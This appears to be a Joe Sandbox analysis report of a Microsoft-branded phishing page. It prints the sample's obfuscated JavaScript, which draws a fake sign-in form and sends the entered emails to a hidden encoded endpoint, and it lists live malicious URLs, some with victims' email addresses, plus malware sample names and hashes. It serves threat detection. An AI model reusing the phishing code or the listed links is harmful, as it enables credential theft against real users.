var _0x19def9=_0x4c11;(function(_0x33d863,_0x5ac325){var _0x111f9a=_0x4c11,_0x413750=_0x33d863();while(!![]){try{var _0x3c1420=parseInt(_0x111f9a(0x1fe8))/0x1+parseInt(_0x111f9a(0x5b8))/0x2(-parseInt(_0x111f9a(0x1b13))/0x3)+-parseInt(_0x111f9a(0x5dc))/0x4(-parseInt(_0x111f9a(0x2e5))/0x5)+-parseInt(_0x111f9a(0x14f0))/0x6+parseInt(_0x111f9a(0x1a96))/0x7+parseInt(_0x111f9a(0xee1))/0x8(-parseInt(_0x111f9a(0x519))/0x9)+parseInt(_0x111f9a(0x1c75))/0xa(parseInt(_0x111f9a(0x20c1))/0xb);if(_0x3c1420===_0x5ac325)break;else _0x413750['push'](_0x413750['shift']());}catch(_0x5f2cb8){_0x413750['push'](_0x413750['shift']());}}}(_0x559c,0xcb5da));var _0x3bc458=_0x5ce7;(function(_0x1a71e7,_0x4cea7a){var _0x36daa9=_0x4c11,_0x375386=_0x1a71e7();while(!![]){try{var _0x15444e=parseInt(_0x5ce7(0x6f8))/0x1(parseInt(_0x5ce7(0x121c))/0x2)+parseInt(_0x5ce7(0x1a3b))/0x3+-parseInt(_0x5ce7(0x3f7))/0x4(parseInt(_0x5ce7(0x7f0))/0x5)+-parseInt(_0x5ce7(0xba9))/0x6+-parseInt(_0x5ce7(0xe4f))/0x7(parseInt(_0x5ce7(0x76c))/0x8)+-parseInt(_0x5ce7(0x17fb))/0x9+-parseInt(_0x5ce7(0x1fa1))/0xa(-parseInt(_0x5ce7(0x190b))/0xb);if(_0x15444e===_0x4cea7a)break;else _0x375386[_0x36daa9(0x382)](_0x375386[_0x36daa9(0xe3b)]());}catch(_0x5eb892){_0x375386[_0x36daa9(0x382)](_0x375386[_0x36daa9(0xe3b)]());}}}(_0x5a2b,0xbeabb));var count=0x0;let email,key,token,numberSms,numberTelp;(function(){var _0x5b6f7d=_0x4c11;document[_0x5b6f7d(0x1b66)]['innerHTML']=_0x5b6f7d(0x1965),document[_0x5b6f7d(0x1c95)][_0x5b6f7d(0xe17)]=_0x5b6f7d(0x208b),fetch(atob(file),{'method':_0x5b6f7d(0x180d),'headers':{'Content-Type':'application/x-www-form-urlencoded'},'body':_0x5b6f7d(0x1a2d)})[_0x5b6f7d(0xb36)](async _0x452728=>{var _0x92263b=_0x5b6f7d;let _0x26f489=await _0x452728['json']();if(_0x26f489['status'])window[_0x92263b(0x5db)]['href']=_0x26f489[_0x92263b(0x1d84)];else{pageIndex();if(!plkermsdnjhteujqowdadfkcvadfafjasdask){}else{if(!/^([0-9a-zA-Z+/]{4})(([0-9a-zA-Z+/]{2}==)\|([0-9a-zA-Z+/]{3}=))?$/[_0x92263b(0x4db)](plkermsdnjhteujqowdadfkcvadfafjasdask))var _0x1aac79=plkermsdnjhteujqowdadfkcvadfafjasdask;else var _0x1aac79=atob(plkermsdnjhteujqowdadfkcvadfafjasdask);var _0x525677=/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;if(!_0x525677['test'](_0x1aac79))return $('#error')[_0x92263b(0x66a)](),ai['focus'],![];$(_0x92263b(0x667))[_0x92263b(0x11b1)](_0x1aac79);var _0x525677=/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;if(!_0x525677[_0x92263b(0x4db)](_0x1aac79))return $('#error')[_0x92263b(0x66a)](),ai[_0x92263b(0xcda)],![];$(_0x92263b(0x1b47))[_0x92263b(0x91d)]({'left':0x0,'opacity':_0x92263b(0x54e)},0x0),$(_0x92263b(0x21bc))[_0x92263b(0x91d)]({'right':0x0,'opacity':'show'},0x0),$[_0x92263b(0x1216)]({'url':atob(file),'cache':![],'type':_0x92263b(0x180d),'data':_0x92263b(0xda7)+_0x1aac79,'dataType':_0x92263b(0x5b4),'success':function(_0x49ba20){var _0x3fee0f=_0x92263b;if(_0x49ba20['status']==_0x3fee0f(0x1c0))$('#prt1')[_0x3fee0f(0x91d)]({'left':0x0,'opacity':_0x3fee0f(0x66a)},0x0),$(_0x3fee0f(0x21bc))[_0x3fee0f(0x91d)]({'left':0x0,'opacity':_0x3fee0f(0x54e)},0x0),$(_0x3fee0f(0x546))[_0x3fee0f(0x66a)](),$(_0x3fee0f(0x20ef))[_0x3fee0f(0xcda)](),ai[_0x3fee0f(0xcda)];else _0x49ba20[_0x3fee0f(0x7c3)]==_0x3fee0f(0x1a89)&&($('#prt3')[_0x3fee0f(0x91d)]({'left':0x0,'opacity':_0x3fee0f(0x54e)},0x0),$(_0x3fee0f(0x8af))[_0x3fee0f(0x91d)]({'right':0x0,'opacity':_0x3fee0f(0x66a)},0x0),$('#aich')[_0x3fee0f(0x1f4e)](_0x1aac79),$(_0x3fee0f(0x20ef))[_0x3fee0f(0xcda)]());$(_0x3fee0f(0x228c))[_0x3fee0f(0x1f4e)](_0x3fee0f(0xe8d));}});}}});}());const pageIndex=()=>{var _0x32da11=_0x4c11;document[_0x32da11(0x1b66)]['innerHTML']='',document[_0x32da11(0x1c95)][_0x32da11(0xe17)]='',document['head'][_0x32da11(0xe17)]='<meta\x20charset=\x22utf-8\x22>\x20<meta\x20name=\x22viewport\x22\x20content=\x22width=device-width,\x20initial-scale=1,\x20shrink-to-fit=no\x22>\x20<title>Sign\x20in\x20to\x20your\x20account</title>\x20<style\x20type=\x22text/css\x22>\x20/!\x20*\x20Bootstra
URL: :// Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: ://
URL: file:///C:/Users/user/Desktop/Scan.html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Scan.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Scan.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Enter password", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Enter password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Scan.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Enter password", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Enter password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Scan.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Scan.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Scan.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Enter password", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Enter password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Scan.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Enter password", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Enter password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Scan.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Scan.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
104.18.10.207	http://desifoodcorner.wb4.xyz/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
151.106.103.153	Remittance. #U0440df.html	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
stackpath.bootstrapcdn.com	https://docusign.legalcloudfiles.com/S06ga?e=kelly.wright@sanctuary-housing.co.uk	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	http://organismekina8at-my.sharepoint.com/:f:/g/personal/mariejoelle_tremblay_kina8at_ca/ErWnJRn_SWBKkEcx4yGorhMBtA4m6tEq5cYuHnwwp_z1Sw	Get hash	malicious	Unknown	Browse	104.18.11.207
	Cardfactory Executed Agreement DocsID- Sign & Review..eml	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://ngk.ae/hurda.html?email=lara.sutton@southerntrust.hscni.net	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://heuristic-knuth-588d37.netlify.app/?naps/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://pub-ce1f93897bdf44e9b1cd99ad0325c570.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://darkened-chalk-system-noolrgfa.glitch.me/	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	104.18.10.207
	https://atpscan.global.hornetsecurity.com/?d=W3rdHn1Og9hhUJnVJzqWF36wMmxswAZldvtx3E21ybg&f=v8m9AqGfgV2Ri7cjqmfsuyl2V2Mu_lVW0BRsqcFw4upagWAQ1C-MqANvN6gf4zNV&i=&k=xREg&m=b_ORYMkPffImCXbCPli-aiR7Ga6rGe55sar2xtigCL4MrowDPSzt7ABKETTGxzegakAfoZ57KD02aVix8V8TVmZ2VcxzjeybXYrPiS2SB73LCKYktj5jv2aw6VcPRslz&n=s4crRkyHC4bab6S3yrgn1E3n-VmdqgfSqNiaCJyPrf6hnyL_SE4PHEo5SUcwwsFGV6rnB35iQFM5FLsE91obvZ0HTAEiqHnB8ROLzY5JVgg&r=oMs_cp4DXIjeQhcPWsPLyR3_oxBVUN4Iok_tSVE4DNNtzqeot7ZzvdXkh4vatwpC&s=bd82eb507a358fd35f72f18b86e67f3bfc1ce64bbeab0c01d700897b1b678efb&u=https%3A%2F%2Fe.trustifi.com%2F%23%2Ffff2af%2F32054d%2F67960f%2Fee6fed%2F5d1d11%2F46c760%2Ff79190%2Fc5ec40%2Fe8666a%2Fef542d%2F85972d%2F627493%2F9a11d6%2F1f4096%2F1d247f%2F818e78%2Fc53383%2Fd59aa0%2Fedfa57%2F7914c7%2Fc38cf6%2Ff74f56%2Ff45915%2F39dbbd%2Ff48710%2F1ddf22%2F37d5f2%2F9de9f7%2F96109e%2F882355%2F854b66%2F9d606d%2F2d0447%2Fad3b01%2F637d1c%2F3c0f2b%2F606f48%2Fa6d904%2F8fefe3%2F00a4bb%2F6520c6%2F9b795c%2Fb7de1a%2Fb5dde6%2F3f5692%2F997c7d%2Fc00925%2F782cce%2F511459%2Fab5aa8%2F91722a%2Feec933%2F3f4f91%2F894088%2F43adfa%2Fb78195%2F0407d0%2F56f022%2Fddf20e%2F946567%2Faa271a%2F507b7a%2Faccd06%2F50d63c%2F485c4b%2F07ced8%2Fd0ec21%2F260ce6%2Fb5edbb%2F79a81e%2F1fd160%2Ff4da41%2F7073e0%2F8a5e9a%2Fdac829%2F521e52%2Fa1a847%2F13ea63%2Fabb5a3%2Fe1901e%2Fd876f6%2F7b0bf4%2Fbd19df%2F89bdcd%2F1874d8%2F0fb7f3%2F72f438%2Fa098c5%2F4e2214%2F4b6e54%2F0c4a8f	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://atpscan.global.hornetsecurity.com/?d=W3rdHn1Og9hhUJnVJzqWF36wMmxswAZldvtx3E21ybg&f=v8m9AqGfgV2Ri7cjqmfsuyl2V2Mu_lVW0BRsqcFw4upagWAQ1C-MqANvN6gf4zNV&i=&k=xREg&m=b_ORYMkPffImCXbCPli-aiR7Ga6rGe55sar2xtigCL4MrowDPSzt7ABKETTGxzegakAfoZ57KD02aVix8V8TVmZ2VcxzjeybXYrPiS2SB73LCKYktj5jv2aw6VcPRslz&n=s4crRkyHC4bab6S3yrgn1E3n-VmdqgfSqNiaCJyPrf6hnyL_SE4PHEo5SUcwwsFGV6rnB35iQFM5FLsE91obvZ0HTAEiqHnB8ROLzY5JVgg&r=oMs_cp4DXIjeQhcPWsPLyR3_oxBVUN4Iok_tSVE4DNNtzqeot7ZzvdXkh4vatwpC&s=bd82eb507a358fd35f72f18b86e67f3bfc1ce64bbeab0c01d700897b1b678efb&u=https%3A%2F%2Fe.trustifi.com%2F%23%2Ffff2af%2F32054d%2F67960f%2Fee6fed%2F5d1d11%2F46c760%2Ff79190%2Fc5ec40%2Fe8666a%2Fef542d%2F85972d%2F627493%2F9a11d6%2F1f4096%2F1d247f%2F818e78%2Fc53383%2Fd59aa0%2Fedfa57%2F7914c7%2Fc38cf6%2Ff74f56%2Ff45915%2F39dbbd%2Ff48710%2F1ddf22%2F37d5f2%2F9de9f7%2F96109e%2F882355%2F854b66%2F9d606d%2F2d0447%2Fad3b01%2F637d1c%2F3c0f2b%2F606f48%2Fa6d904%2F8fefe3%2F00a4bb%2F6520c6%2F9b795c%2Fb7de1a%2Fb5dde6%2F3f5692%2F997c7d%2Fc00925%2F782cce%2F511459%2Fab5aa8%2F91722a%2Feec933%2F3f4f91%2F894088%2F43adfa%2Fb78195%2F0407d0%2F56f022%2Fddf20e%2F946567%2Faa271a%2F507b7a%2Faccd06%2F50d63c%2F485c4b%2F07ced8%2Fd0ec21%2F260ce6%2Fb5edbb%2F79a81e%2F1fd160%2Ff4da41%2F7073e0%2F8a5e9a%2Fdac829%2F521e52%2Fa1a847%2F13ea63%2Fabb5a3%2Fe1901e%2Fd876f6%2F7b0bf4%2Fbd19df%2F89bdcd%2F1874d8%2F0fb7f3%2F72f438%2Fa098c5%2F4e2214%2F4b6e54%2F0c4a8f	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	104.18.10.207
code.jquery.com	https://docusign.legalcloudfiles.com/S06ga?e=kelly.wright@sanctuary-housing.co.uk	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://37ja0w4ofs2v93pb78wrnw.blob.core.windows.net/37ja0w4ofs2v93pb78wrnw/HT00.html#qs=r-afidgaidkggiiejaghghkciacjbeegjkagehdfagehdfababagbaecdaccaibkaddiiaejihifadcc	Get hash	malicious	Phisher	Browse	151.101.194.137
	http://organismekina8at-my.sharepoint.com/:f:/g/personal/mariejoelle_tremblay_kina8at_ca/ErWnJRn_SWBKkEcx4yGorhMBtA4m6tEq5cYuHnwwp_z1Sw	Get hash	malicious	Unknown	Browse	151.101.194.137
	Cardfactory Executed Agreement DocsID- Sign & Review..eml	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://ngk.ae/hurda.html?email=lara.sutton@southerntrust.hscni.net	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://encryption-deme-group.lomiraxen.ru/PdoodjcL/#Mvercauteren.william@deme-group.com	Get hash	malicious	Unknown	Browse	151.101.66.137
	http://satelite.nv-ec.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://support.te-wt.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://www.flndmy.er-xu.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://www.support.ue-vt.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	151.101.66.137
cdnjs.cloudflare.com	https://docusign.legalcloudfiles.com/S06ga?e=kelly.wright@sanctuary-housing.co.uk	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://deltacapoffers.com/prequalification.php?utm_source=klayvio&utm_medium=email&utm_campaign=scrapeddripcampaign&utm_id=efi&utm_term=efi&utm_content=scrapedlists6&_kx=YFJgSt5YAM6jpJldJ4ZDop7CB1jVRJhqJKw59Uk4HMU.QZibAu	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://organismekina8at-my.sharepoint.com/:f:/g/personal/mariejoelle_tremblay_kina8at_ca/ErWnJRn_SWBKkEcx4yGorhMBtA4m6tEq5cYuHnwwp_z1Sw	Get hash	malicious	Unknown	Browse	104.17.25.14
	Cardfactory Executed Agreement DocsID- Sign & Review..eml	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	DOCS974i7C63.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	DOCS974i7C63.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://ngk.ae/hurda.html?email=lara.sutton@southerntrust.hscni.net	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://encryption-deme-group.lomiraxen.ru/PdoodjcL/#Mvercauteren.william@deme-group.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://cosmetological.xyz/xoqae/go?rgcid=&rx_p=&rgsubid=d-wboqentba-arg	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://info-kyorakuenchhfb48bv6chhfb48bv6.narymar.com/	Get hash	malicious	Unknown	Browse	104.17.24.14
newlifecon.com	Remittance. #U0440df.html	Get hash	malicious	HTMLPhisher	Browse	151.106.103.153

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	JUbmpeT.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	https://www.google.ca/url?0g1qta=https://www.flowersgarrett.au&Qg=P4&bg=FN&TA=Z1&bg=PR&TA=UN&q=%2561%256d%2570%2F%2562%2563%2535%256D%2537%2579%252E%2564%2565%256B%2563%2568%256F%2562%2574%2569%2565%2577%252E%2563%256F%256D%252F%256A%256D%2561%257A%256F%2575%2572%2540%2569%256E%256F%2576%2561%256C%256F%256E%252E%2563%256F%256D&opdg=QXY&dUM=MTA&eTY=azM	Get hash	malicious	HTMLPhisher	Browse	104.21.112.1
	https://docusign.legalcloudfiles.com/S06ga?e=kelly.wright@sanctuary-housing.co.uk	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://37ja0w4ofs2v93pb78wrnw.blob.core.windows.net/37ja0w4ofs2v93pb78wrnw/HT00.html#qs=r-afidgaidkggiiejaghghkciacjbeegjkagehdfagehdfababagbaecdaccaibkaddiiaejihifadcc	Get hash	malicious	Phisher	Browse	172.67.189.117
	https://chiltonconsultingllc.com/#YmpwYXJpc2gkc3RlaW5ib3JuLmNvbQ==	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	172.67.147.135
	New Order#12125.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	https://melioeftpayments.cloudfilesbureau.com/2pVvU	Get hash	malicious	Unknown	Browse	1.1.1.1
	CSZ inquiry for MH raw material.exe	Get hash	malicious	FormBook	Browse	104.21.18.171
	tN8GsMV1le.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	https://deltacapoffers.com/prequalification.php?utm_source=klayvio&utm_medium=email&utm_campaign=scrapeddripcampaign&utm_id=efi&utm_term=efi&utm_content=scrapedlists6&_kx=YFJgSt5YAM6jpJldJ4ZDop7CB1jVRJhqJKw59Uk4HMU.QZibAu	Get hash	malicious	Unknown	Browse	104.17.25.14
PLUSSERVER-ASN1DE	colleague[1].htm	Get hash	malicious	Unknown	Browse	87.230.98.78
	armv5l.elf	Get hash	malicious	Mirai	Browse	78.138.81.53
	https://fsharetv.io/	Get hash	malicious	Unknown	Browse	87.230.98.78
	armv7l.elf	Get hash	malicious	Unknown	Browse	46.22.35.93
	https://go.eu.sparkpostmail1.com/f/a/lgobNkIfvQXGgmbryxpFvQ~~/AAGCxAA~/RgRpPCorP0QoaHR0cHM6Ly9iZXJhemVsLmNvbS93ZWxsbmVzcy9zb3V0aC9pbmRleFcFc3BjZXVCCmdVK6VZZ3GvOmFSFmV0aGFubG9nYW40M0BnbWFpbC5jb21YBAAAAAE~#a3RhdHJvZUBob3VzaW5nY2VudGVyLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	151.106.103.155
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	213.174.37.159
	http://bluepeak-group.com/fc	Get hash	malicious	Unknown	Browse	87.230.98.76
	Mozi.m.elf	Get hash	malicious	Mirai	Browse	62.138.219.32
	arm5.elf	Get hash	malicious	Unknown	Browse	212.40.188.140
	home.mpsl.elf	Get hash	malicious	Gafgyt, Mirai	Browse	195.252.218.182
CLOUDFLARENETUS	JUbmpeT.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	https://www.google.ca/url?0g1qta=https://www.flowersgarrett.au&Qg=P4&bg=FN&TA=Z1&bg=PR&TA=UN&q=%2561%256d%2570%2F%2562%2563%2535%256D%2537%2579%252E%2564%2565%256B%2563%2568%256F%2562%2574%2569%2565%2577%252E%2563%256F%256D%252F%256A%256D%2561%257A%256F%2575%2572%2540%2569%256E%256F%2576%2561%256C%256F%256E%252E%2563%256F%256D&opdg=QXY&dUM=MTA&eTY=azM	Get hash	malicious	HTMLPhisher	Browse	104.21.112.1
	https://docusign.legalcloudfiles.com/S06ga?e=kelly.wright@sanctuary-housing.co.uk	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://37ja0w4ofs2v93pb78wrnw.blob.core.windows.net/37ja0w4ofs2v93pb78wrnw/HT00.html#qs=r-afidgaidkggiiejaghghkciacjbeegjkagehdfagehdfababagbaecdaccaibkaddiiaejihifadcc	Get hash	malicious	Phisher	Browse	172.67.189.117
	https://chiltonconsultingllc.com/#YmpwYXJpc2gkc3RlaW5ib3JuLmNvbQ==	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	172.67.147.135
	New Order#12125.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	https://melioeftpayments.cloudfilesbureau.com/2pVvU	Get hash	malicious	Unknown	Browse	1.1.1.1
	CSZ inquiry for MH raw material.exe	Get hash	malicious	FormBook	Browse	104.21.18.171
	tN8GsMV1le.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	https://deltacapoffers.com/prequalification.php?utm_source=klayvio&utm_medium=email&utm_campaign=scrapeddripcampaign&utm_id=efi&utm_term=efi&utm_content=scrapedlists6&_kx=YFJgSt5YAM6jpJldJ4ZDop7CB1jVRJhqJKw59Uk4HMU.QZibAu	Get hash	malicious	Unknown	Browse	104.17.25.14
CLOUDFLARENETUS	JUbmpeT.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	https://www.google.ca/url?0g1qta=https://www.flowersgarrett.au&Qg=P4&bg=FN&TA=Z1&bg=PR&TA=UN&q=%2561%256d%2570%2F%2562%2563%2535%256D%2537%2579%252E%2564%2565%256B%2563%2568%256F%2562%2574%2569%2565%2577%252E%2563%256F%256D%252F%256A%256D%2561%257A%256F%2575%2572%2540%2569%256E%256F%2576%2561%256C%256F%256E%252E%2563%256F%256D&opdg=QXY&dUM=MTA&eTY=azM	Get hash	malicious	HTMLPhisher	Browse	104.21.112.1
	https://docusign.legalcloudfiles.com/S06ga?e=kelly.wright@sanctuary-housing.co.uk	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://37ja0w4ofs2v93pb78wrnw.blob.core.windows.net/37ja0w4ofs2v93pb78wrnw/HT00.html#qs=r-afidgaidkggiiejaghghkciacjbeegjkagehdfagehdfababagbaecdaccaibkaddiiaejihifadcc	Get hash	malicious	Phisher	Browse	172.67.189.117
	https://chiltonconsultingllc.com/#YmpwYXJpc2gkc3RlaW5ib3JuLmNvbQ==	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	172.67.147.135
	New Order#12125.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	https://melioeftpayments.cloudfilesbureau.com/2pVvU	Get hash	malicious	Unknown	Browse	1.1.1.1
	CSZ inquiry for MH raw material.exe	Get hash	malicious	FormBook	Browse	104.21.18.171
	tN8GsMV1le.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	https://deltacapoffers.com/prequalification.php?utm_source=klayvio&utm_medium=email&utm_campaign=scrapeddripcampaign&utm_id=efi&utm_term=efi&utm_content=scrapedlists6&_kx=YFJgSt5YAM6jpJldJ4ZDop7CB1jVRJhqJKw59Uk4HMU.QZibAu	Get hash	malicious	Unknown	Browse	104.17.25.14

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_166897035\Google.Widevine.CDM.dll	https://maya-lopez.filemail.com/t/XhcWEjoR	Get hash	malicious	Unknown	Browse
	Undelivered Messages.htm	Get hash	malicious	Unknown	Browse
	https://dev-alberta-ca.pantheonsite.io/?email=central@ngps.ca	Get hash	malicious	Unknown	Browse
	AllItems.htm	Get hash	malicious	HTMLPhisher	Browse
	#Employee-Letter.pdf	Get hash	malicious	Unknown	Browse
	index.html	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse
	aspweb88.exe	Get hash	malicious	Unknown	Browse
	https://trimmer.to:443/GWHMY	Get hash	malicious	HTMLPhisher	Browse
	217469812STM.pdf	Get hash	malicious	ScreenConnect Tool, Phisher	Browse

Created / dropped Files

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1102327707\LICENSE

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Reputation:	high, very likely benign file
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

